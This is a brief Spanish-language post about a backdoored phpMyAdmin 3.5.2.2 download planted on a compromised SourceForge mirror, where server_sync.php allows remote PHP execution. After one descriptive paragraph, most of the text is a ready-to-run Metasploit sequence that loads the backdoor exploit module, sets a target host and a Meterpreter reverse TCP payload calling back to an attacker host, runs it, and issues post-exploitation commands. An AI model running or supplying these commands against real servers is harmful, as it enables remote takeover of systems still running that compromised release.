BackDoor en phpMyAdmin

El Mirror de descargas cdnetworks-kr-1 de SourceForge fue comprometido por atacantes malintencionados, quienes modificaron el fichero de descarga phpMyAdmin-3.5.2.2-all-languages.zip agregándole 2 archivos maliciosos que cumplen con el rol de Backdoor en el sistema, específicamente el archivo server_sync.php es el que permite a un atacante ejecutar remotamente código PHP.

use exploit/multi/http/phpmyadmin_3522_backdoor

set RHOST 192.168.178.40

set PATH /phpMyAdmin-3.5.2.2-all-languages

set PAYLOAD php/meterpreter/reverse_tcp

set LHOST 192.168.178.33

exploit

sysinfo

getuid